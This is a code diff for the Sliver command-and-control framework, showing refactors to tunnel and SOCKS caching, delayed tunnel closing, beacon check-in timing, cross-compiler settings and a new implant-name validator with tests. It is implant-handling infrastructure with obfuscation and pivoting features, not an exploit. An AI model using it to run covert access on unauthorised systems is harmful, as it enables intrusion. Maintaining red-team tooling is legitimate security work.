if time.Since(s.Connection.GetLastMessage()) < time.Duration(time.Minute)+padding {
sessionsLog.Debugf("Last message within pivot/server ping interval with padding")
return false
}
+84 -6
View File
@@ -23,6 +23,7 @@ import (
"encoding/binary"
"errors"
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -40,6 +41,12 @@ var (
ErrInvalidTunnelID = errors.New("invalid tunnel ID")
)
const (
// delayBeforeClose - delay before closing the tunnel.
// I assume 10 seconds may be an overkill for a good connection, but it looks good enough for less stable one.
delayBeforeClose = 10 * time.Second
)
// Tunnel - Essentially just a mapping between a specific client and sliver
// with an identifier, these tunnels are full duplex. The server doesn't really
// care what data gets passed back and forth it just facilitates the connection
@@ -54,6 +61,43 @@ type Tunnel struct {
FromImplantSequence uint64
Client rpcpb.SliverRPC_TunnelDataServer
mutex *sync.RWMutex
lastDataMessageTime time.Time
}
func NewTunnel(id uint64, sessionID string) *Tunnel {
return &Tunnel{
ID: id,
SessionID: sessionID,
ToImplant: make(chan []byte),
FromImplant: make(chan *sliverpb.TunnelData),
mutex: &sync.RWMutex{},
lastDataMessageTime: time.Now(), // need to be initialized
}
}
func (t *Tunnel) setLastMessageTime() {
t.mutex.Lock()
defer t.mutex.Unlock()
t.lastDataMessageTime = time.Now()
}
func (t *Tunnel) GetLastMessageTime() time.Time {
t.mutex.RLock()
defer t.mutex.RUnlock()
return t.lastDataMessageTime
}
func (t *Tunnel) SendDataFromImplant(tunnelData *sliverpb.TunnelData) {
// Setting the date right before and right after message, since channel can be blocked for some amount of time
t.setLastMessageTime()
defer t.setLastMessageTime()
t.FromImplant <- tunnelData
}
type tunnels struct {
@@ -64,12 +108,12 @@ type tunnels struct {
func (t *tunnels) Create(sessionID string) *Tunnel {
tunnelID := NewTunnelID()
session := Sessions.Get(sessionID)
tunnel := &Tunnel{
ID: tunnelID,
SessionID: session.ID,
ToImplant: make(chan []byte),
FromImplant: make(chan *sliverpb.TunnelData),
}
tunnel := NewTunnel(
tunnelID,
session.ID,
)
t.mutex.Lock()
defer t.mutex.Unlock()
t.tunnels[tunnel.ID] = tunnel
@@ -77,6 +121,39 @@ func (t *tunnels) Create(sessionID string) *Tunnel {
return tunnel
}
// ScheduleClose - schedules a close for tunnel, must be called as routine.
// will close it once there is no data for at least delayBeforeClose delay since last message
// This is _necessary_ since we processing messages asynchronously
// and if tunnelCloseHandler routine will fire before tunnelDataHandler routine we will lose some data
// (this is what happends for socks and portfwd)
// There is no another way around it, if we want to stick to async processing as we do now.
// All additional changes requires changes on implants(like sequencing for close messages),
// and as there is a goal to keep compatability we don't do that at the moment.
// So there is trade off - more stability or more speed. Or rewriting implant logic.
// At the moment, i see it affects only `shell` command and locking it for 10 seconds on exit. Not a big deal.
func (t *tunnels) ScheduleClose(tunnelID uint64) {
tunnel := t.Get(tunnelID)
if tunnel == nil {
return
}
timeDelta := time.Now().Sub(tunnel.GetLastMessageTime())
coreLog.Printf("Scheduled close for channel %d (delta: %v)", tunnelID, timeDelta)
if timeDelta >= delayBeforeClose {
coreLog.Printf("Closing channel %d", tunnelID)
t.Close(tunnelID)
} else {
// Reschedule
coreLog.Printf("Rescheduling closing channel %d", tunnelID)
time.Sleep(delayBeforeClose - timeDelta + time.Second)
go t.ScheduleClose(tunnelID)
}
}
// Close - closing tunnel
// It's prefered to use ScheduleClose function if you don't 100% sure there is no more data to receive
func (t *tunnels) Close(tunnelID uint64) error {
t.mutex.Lock()
defer t.mutex.Unlock()
@@ -111,6 +188,7 @@ func (t *tunnels) Close(tunnelID uint64) error {
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
return t.tunnels[tunnelID]
}
+1 -1
View File
@@ -109,7 +109,7 @@ func (e *ECCKeyPair) PrivateBase64() string {
return base64.RawStdEncoding.EncodeToString(e.Private[:])
}
// RandomeECCKeyPair - Generate a random Curve 25519 key pair
// RandomECCKeyPair - Generate a random Curve 25519 key pair
func RandomECCKeyPair() (*ECCKeyPair, error) {
public, private, err := box.GenerateKey(rand.Reader)
if err != nil {
+1 -1
View File
@@ -322,7 +322,7 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
ID: uuid.FromStringOrNil(beaconID),
}).Updates(models.Beacon{
LastCheckin: time.Now(),
NextCheckin: next,
NextCheckin: time.Now().Unix() + next,
}).Error
return err
}
+17 -13
View File
@@ -29,7 +29,6 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"text/template"
@@ -150,6 +149,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
cfg.Debug = pbConfig.Debug
cfg.Evasion = pbConfig.Evasion
cfg.ObfuscateSymbols = pbConfig.ObfuscateSymbols
cfg.ConnectionStrategy = pbConfig.ConnectionStrategy
cfg.WGImplantPrivKey = pbConfig.WGImplantPrivKey
cfg.WGServerPubKey = pbConfig.WGServerPubKey
@@ -193,11 +193,10 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
}
name := ""
if pbConfig.Name != "" {
// Only allow user-provided alpha/numeric names
if regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(pbConfig.Name) {
name = pbConfig.Name
}
if err := util.AllowedName(pbConfig.Name); err != nil {
buildLog.Warnf("%s\n", err)
} else {
name = pbConfig.Name
}
return name, cfg
}
@@ -351,7 +350,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
return "", err
}
dest := path.Join(goConfig.ProjectDir, "bin", path.Base(name))
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
if goConfig.GOOS == WINDOWS {
dest += ".dll"
}
@@ -367,6 +366,10 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
if !config.Debug && goConfig.GOOS == WINDOWS {
ldflags[0] += " -H=windowsgui"
}
// Statically link Linux .so files to avoid glibc hell
if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
ldflags[0] += " -linkmode external -extldflags \"-static\""
}
// Keep those for potential later use
gcflags := ""
asmflags := ""
@@ -376,7 +379,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
if err != nil {
return "", err
}
config.FileName = path.Base(dest)
config.FileName = filepath.Base(dest)
err = ImplantBuildSave(name, config, dest)
if err != nil {
@@ -672,14 +675,18 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
// Get Defaults
if targetGoarch == "amd64" {
cc = os.Getenv(SliverCC64EnvVar)
if os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS)) != "" {
cc = os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS))
}
cxx = os.Getenv(SliverCXX64EnvVar)
if cc == "" {
cc = os.Getenv(SliverCC64EnvVar)
}
if os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS)) != "" {
cc = os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS))
}
if cxx == "" {
cxx = os.Getenv(SliverCXX64EnvVar)
}
}
if targetGoarch == "386" {
cc = os.Getenv(SliverCC32EnvVar)
@@ -716,11 +723,9 @@ func findCrossCompilers(targetGoos string, targetGoarch string) (string, string)
// Check to see if CC and CXX exist
if _, err := os.Stat(cc); os.IsNotExist(err) {
buildLog.Warnf("CC path '%s' does not exist", cc)
cc = "" // Path does not exist
}
if _, err := os.Stat(cxx); os.IsNotExist(err) {
buildLog.Warnf("CXX path '%s' does not exist", cxx)
cxx = "" // Path does not exist
}
buildLog.Debugf(" CC = '%s'", cc)
buildLog.Debugf("CXX = '%s'", cxx)
@@ -889,7 +894,6 @@ const (
// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.
// The current packages below aren't definitive and need to be tidied up.
// GoPrivate = "github.com/bishopfox/*,github.com/Microsoft/*,github.com/burntsushi/*,github.com/kbinani/*,github.com/lxn/*,github.com/golang/*,github.com/shm/*,github.com/lesnuages/*"
wgGoPrivate = "github.com/*,golang.org/*,golang.zx2c4.com/*,google.golang.org/*"
allGoPrivate = "*"
)
+5 -1
View File
@@ -126,7 +126,10 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
var stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
gogoLog.Debugf("--- env ---\n")
for _, envVar := range cmd.Env {
gogoLog.Debugf("%s\n", envVar)
}
gogoLog.Infof("garble cmd: '%v'", cmd)
err := cmd.Run()
if err != nil {
@@ -187,6 +190,7 @@ func GoBuild(config GoConfig, src string, dest string, buildmode string, tags []
return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target))
}
var goCommand = []string{"build"}
if 0 < len(trimpath) {
goCommand = append(goCommand, trimpath)
}
+3 -3
View File
@@ -74,7 +74,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
beacon.RemoteAddress = implantConn.RemoteAddress
beacon.PID = beaconReg.Register.Pid
beacon.Filename = beaconReg.Register.Filename
beacon.LastCheckin = implantConn.LastMessage
beacon.LastCheckin = implantConn.GetLastMessage()
beacon.Version = beaconReg.Register.Version
beacon.ReconnectInterval = beaconReg.Register.ReconnectInterval
beacon.ActiveC2 = beaconReg.Register.ActiveC2
@@ -83,7 +83,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
beacon.Interval = beaconReg.Interval
beacon.Jitter = beaconReg.Jitter
beacon.NextCheckin = beaconReg.NextCheckin
beacon.NextCheckin = time.Now().Unix() + beaconReg.NextCheckin
err = db.Session().Save(beacon).Error
if err != nil {
@@ -125,7 +125,7 @@ func beaconTasksHandler(implantConn *core.ImplantConnection, data []byte) *slive
return nil
}
go func() {
err = db.UpdateBeaconCheckinByID(beaconTasks.ID, beaconTasks.NextCheckin)
err := db.UpdateBeaconCheckinByID(beaconTasks.ID, beaconTasks.NextCheckin)
if err != nil {
beaconHandlerLog.Errorf("failed to update checkin: %s", err)
}
+19 -3
View File
@@ -146,8 +146,23 @@ func pivotPeerFailureHandler(implantConn *core.ImplantConnection, data []byte) *
core.PivotSessions.Range(func(key, value interface{}) bool {
pivot := value.(*core.Pivot)
if pivot.OriginID == peerFailure.PeerID {
found := pivot.OriginID == peerFailure.PeerID
if !found {
pivotLog.Warnf("Filed peer not found by OriginID, searching by Peers instead")
for _, peer := range pivot.Peers {
if peer.PeerID == peerFailure.PeerID {
pivotLog.Warnf("Found session with needed peer!")
found = true
}
}
}
if found {
session := core.Sessions.FromImplantConnection(pivot.ImplantConn)
if session != nil {
core.Sessions.Remove(session.ID)
}
@@ -214,11 +229,12 @@ func serverKeyExchange(implantConn *core.ImplantConnection, peerEnvelope *sliver
return nil
}
pivotSession := core.NewPivotSession(peerEnvelope.Peers)
pivotLog.Infof("Pivot session %s created with origin %s", pivotSession.ID, peerEnvelope.Peers[0].Name)
pivotLog.Debugf("Peers: %v", peerEnvelope.Peers)
pivotSession.OriginID = peerEnvelope.Peers[0].PeerID
pivotSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
pivotLog.Infof("Pivot session %s created with origin %s and OriginID: %v", pivotSession.ID, peerEnvelope.Peers[0].Name, pivotSession.OriginID)
pivotLog.Infof("Peers: %v", peerEnvelope.Peers)
pivotRemoteAddr := peersToString(implantConn.RemoteAddress, peerEnvelope)
pivotSession.ImplantConn = core.NewImplantConnection(core.PivotTransportName, pivotRemoteAddr)
+7 -3
View File
@@ -110,15 +110,18 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
defer tunnelHandlerMutex.Unlock()
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[DATA] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
if tunnel != nil {
if session.ID == tunnel.SessionID {
tunnel.FromImplant <- tunnelData
tunnel.SendDataFromImplant(tunnelData)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
sessionHandlerLog.Warnf("Data sent on nil tunnel %d, %s", tunnelData.TunnelID, tunnelData.Data)
}
return nil
}
@@ -134,6 +137,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
if !tunnelData.Closed {
return nil
}
@@ -141,7 +145,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
if tunnel != nil {
if session.ID == tunnel.SessionID {
sessionHandlerLog.Infof("Closing tunnel %d", tunnel.ID)
core.Tunnels.Close(tunnel.ID)
go core.Tunnels.ScheduleClose(tunnel.ID)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
+8
View File
@@ -141,9 +141,17 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
}
if dev.hasV4 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
tcpipErr = dev.stack.SetForwardingDefaultAndAllNICs(header.IPv4ProtocolNumber, true)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
}
}
if dev.hasV6 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
tcpipErr = dev.stack.SetForwardingDefaultAndAllNICs(header.IPv6ProtocolNumber, true)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("SetForwarding(): %v", tcpipErr)
}
}
dev.events <- tun.EventUp
+1 -1
View File
@@ -40,5 +40,5 @@ var (
ErrDatabaseFailure = status.Error(codes.Internal, "Database operation failed")
// ErrInvalidName - Invalid name
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics only")
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics and _-. only")
)
+2 -3
View File
@@ -20,13 +20,12 @@ package rpc
import (
"context"
"regexp"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/util"
)
const maxNameLength = 32
@@ -56,7 +55,7 @@ func (rpc *Server) Rename(ctx context.Context, req *clientpb.RenameReq) (*common
if len(req.Name) < 1 || maxNameLength < len(req.Name) {
return resp, ErrInvalidName
}
if !regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(req.Name) {
if err := util.AllowedName(req.Name); err != nil {
return resp, ErrInvalidName
}
+62 -26
View File
@@ -32,12 +32,59 @@ import (
var (
// SessionID->Tunnels[TunnelID]->Tunnel->Cache map[uint64]*sliverpb.SocksData{}
toImplantCacheSocks = map[uint64]sync.Map{}
toImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
fromImplantCacheSocks = map[uint64]map[uint64]*sliverpb.SocksData{}
fromImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
)
type socksDataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.SocksData
}
func (c *socksDataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.SocksData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.SocksData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *socksDataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.SocksData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *socksDataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *socksDataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
// Socks - Open an in-band port forward
func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
for {
@@ -62,18 +109,17 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
go func() {
for tunnelData := range socks.FromImplant {
recvCache, ok := fromImplantCacheSocks[fromClient.TunnelID]
if ok {
recvCache[tunnelData.Sequence] = tunnelData
}
for recv, ok := recvCache[socks.FromImplantSequence]; ok; recv, ok = recvCache[socks.FromImplantSequence] {
fromImplantCacheSocks.Add(fromClient.TunnelID, tunnelData.Sequence, tunnelData)
for recv, ok := fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence); ok; recv, ok = fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence) {
rpcLog.Debugf("[socks] agent to (Server To Client) Data Sequence %d , Data Size %d ,Data %v\n", socks.FromImplantSequence, len(recv.Data), recv.Data)
socks.Client.Send(&sliverpb.SocksData{
CloseConn: recv.CloseConn,
TunnelID: recv.TunnelID,
Data: recv.Data,
})
delete(recvCache, socks.FromImplantSequence)
fromImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.FromImplantSequence)
socks.FromImplantSequence++
}
@@ -83,29 +129,20 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
// Send Agent
go func() {
recvCache, ok := toImplantCacheSocks[fromClient.TunnelID]
if ok {
recvCache.Store(fromClient.Sequence, &sliverpb.SocksData{
TunnelID: fromClient.TunnelID,
Username: fromClient.Username,
Password: fromClient.Password,
Data: fromClient.Data,
Sequence: fromClient.Sequence,
})
toImplantCacheSocks.Add(fromClient.TunnelID, fromClient.Sequence, fromClient)
}
for recv, ok := recvCache.Load(socks.ToImplantSequence); ok; recv, ok = recvCache.Load(socks.ToImplantSequence) {
for recv, ok := toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence); ok; recv, ok = toImplantCacheSocks.Get(fromClient.TunnelID, socks.ToImplantSequence) {
rpcLog.Debugf("[socks] Client to (Server To Agent) Data Sequence %d , Data Size %d \n", socks.ToImplantSequence, len(fromClient.Data))
data, _ := proto.Marshal(recv.(*sliverpb.SocksData))
data, _ := proto.Marshal(recv)
session := core.Sessions.Get(fromClient.Request.SessionID)
session.Connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
socks.ToImplantSequence++
toImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.ToImplantSequence)
socks.ToImplantSequence++
}
}()
@@ -123,8 +160,7 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
if tunnel == nil {
return nil, ErrTunnelInitFailure
}
toImplantCacheSocks[tunnel.ID] = sync.Map{}
fromImplantCacheSocks[tunnel.ID] = map[uint64]*sliverpb.SocksData{}
return &sliverpb.Socks{
SessionID: session.ID,
TunnelID: tunnel.ID,
@@ -134,8 +170,8 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
// CloseSocks - Client requests we close a Socks
func (s *Server) CloseSocks(ctx context.Context, req *sliverpb.Socks) (*commonpb.Empty, error) {
err := core.SocksTunnels.Close(req.TunnelID)
delete(toImplantCacheSocks, req.TunnelID)
delete(fromImplantCacheSocks, req.TunnelID)
toImplantCacheSocks.DeleteTun(req.TunnelID)
fromImplantCacheSocks.DeleteTun(req.TunnelID)
if err != nil {
return nil, err
}
+62 -22
View File
@@ -21,6 +21,7 @@ package rpc
import (
"context"
"io"
"sync"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -34,12 +35,59 @@ var (
tunnelLog = log.NamedLogger("rpc", "tunnel")
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
toImplantCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
toImplantCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
fromImplantCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
fromImplantCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
// CreateTunnel - Create a new tunnel on the server, however based on only this request there's
// no way to associate the tunnel with the correct client, so the client must send
// a zero-byte message over TunnelData to bind itself to the newly created tunnel.
@@ -52,8 +100,6 @@ func (s *Server) CreateTunnel(ctx context.Context, req *sliverpb.Tunnel) (*slive
if tunnel == nil {
return nil, ErrTunnelInitFailure
}
toImplantCache[tunnel.ID] = map[uint64]*sliverpb.TunnelData{}
fromImplantCache[tunnel.ID] = map[uint64]*sliverpb.TunnelData{}
return &sliverpb.Tunnel{
SessionID: session.ID,
TunnelID: tunnel.ID,
@@ -62,12 +108,10 @@ func (s *Server) CreateTunnel(ctx context.Context, req *sliverpb.Tunnel) (*slive
// CloseTunnel - Client requests we close a tunnel
func (s *Server) CloseTunnel(ctx context.Context, req *sliverpb.Tunnel) (*commonpb.Empty, error) {
err := core.Tunnels.Close(req.TunnelID)
delete(toImplantCache, req.TunnelID)
delete(fromImplantCache, req.TunnelID)
if err != nil {
return nil, err
}
go core.Tunnels.ScheduleClose(req.TunnelID)
toImplantCache.DeleteTun(req.TunnelID)
fromImplantCache.DeleteTun(req.TunnelID)
return &commonpb.Empty{}, nil
}
@@ -100,7 +144,6 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
go func() {
sendCache := toImplantCache[tunnel.ID]
for tunnelData := range tunnel.FromImplant {
tunnelLog.Debugf("Tunnel %d: From implant %d byte(s), seq: %d ack: %d",
@@ -110,30 +153,28 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
if !tunnelData.Resend {
index := tunnelData.Ack - 1
for sendMsg, ok := sendCache[index]; ok; sendMsg, ok = sendCache[index] {
for sendMsg, ok := toImplantCache.Get(tunnel.ID, index); ok; sendMsg, ok = toImplantCache.Get(tunnel.ID, index) {
tunnelLog.Debugf("Tunnel %d: Removing ack: %d from send cache", tunnel.ID, sendMsg.Sequence)
delete(sendCache, index)
toImplantCache.DeleteSeq(tunnel.ID, index)
index = index - 1
}
recvCache, ok := fromImplantCache[tunnel.ID]
if ok {
recvCache[tunnelData.Sequence] = tunnelData
}
for recv, ok := recvCache[tunnel.FromImplantSequence]; ok; recv, ok = recvCache[tunnel.FromImplantSequence] {
fromImplantCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
for recv, ok := fromImplantCache.Get(tunnel.ID, tunnel.FromImplantSequence); ok; recv, ok = fromImplantCache.Get(tunnel.ID, tunnel.FromImplantSequence) {
tunnel.Client.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: recv.Data,
Closed: false,
})
delete(recvCache, tunnel.FromImplantSequence)
fromImplantCache.DeleteSeq(tunnel.ID, tunnel.FromImplantSequence)
tunnel.FromImplantSequence++
}
} else {
origtunnelData, ok := sendCache[tunnelData.Ack]
origtunnelData, ok := toImplantCache.Get(tunnel.ID, tunnelData.Ack)
if ok {
tunnelLog.Debugf("Tunnel %d: Resending cached msg: %d", tunnel.ID, tunnelData.Ack)
session := core.Sessions.Get(tunnel.SessionID)
@@ -163,7 +204,6 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
go func() {
session := core.Sessions.Get(tunnel.SessionID)
sendCache := toImplantCache[tunnel.ID]
for data := range tunnel.ToImplant {
tunnelLog.Debugf("Tunnel %d: To implant %d byte(s), seq: %d", tunnel.ID, len(data), tunnel.ToImplantSequence)
tunnelData := sliverpb.TunnelData{
@@ -174,7 +214,7 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
Closed: false,
}
// Add tunnel data to cache
sendCache[tunnelData.Sequence] = &tunnelData
toImplantCache.Add(tunnel.ID, tunnelData.Sequence, &tunnelData)
data, _ := proto.Marshal(&tunnelData)
tunnel.ToImplantSequence++
+4 -4
View File
@@ -26,8 +26,8 @@ import (
"io"
)
//Encrypt the results
func Encrypt(data []byte, key []byte, iv []byte) []byte {
// PreludeEncrypt the results
func PreludeEncrypt(data []byte, key []byte, iv []byte) []byte {
plainText, err := pad(data, aes.BlockSize)
if err != nil {
return make([]byte, 0)
@@ -47,8 +47,8 @@ func Encrypt(data []byte, key []byte, iv []byte) []byte {
return cipherText
}
//Decrypt a command
func Decrypt(data []byte, key []byte) []byte {
// PreludeDecrypt a command
func PreludeDecrypt(data []byte, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
return nil
+42
View File
@@ -0,0 +1,42 @@
package util
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"regexp"
)
func AllowedName(name string) error {
if name != "" {
// allow for alphanumeric, periods, dashes, and underscores in name
isAllowed := regexp.MustCompile(`^[[:alnum:]\.\-_]+$`).MatchString
// do not allow for files ".", "..", or anything starting with ".."
additionalDeny := regexp.MustCompile(`^\.\.|^\.$`).MatchString
if !isAllowed(name) {
return errors.New("Name must be alphanumeric or .-_ only\n")
} else if additionalDeny(name) {
return errors.New("Name cannot be \".\", \"..\", or start with \"..\"")
} else {
return nil
}
} else {
return errors.New("Name cannot be blank!")
}
}
+40
View File
@@ -0,0 +1,40 @@
package util
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"testing"
)
func TestAllowedName(t *testing.T) {
notAllowed := [3]string{".", "..", "..test"}
isAllowed := [6]string{"test", "testing_string", "testing.string", "testing-string", "testing..string", "test.."}
for i := 0; i < len(notAllowed); i++ {
if err := AllowedName(notAllowed[i]); err == nil {
t.Fatalf("failed to deny non allowed implant name")
}
}
for i := 0; i < len(isAllowed); i++ {
if err := AllowedName(isAllowed[i]); err != nil {
t.Fatalf("failed to allow allowed implant name")
}
}
}
Loaded 100 of 116 files, more files were not shown because too many files have changed in this diff. Show more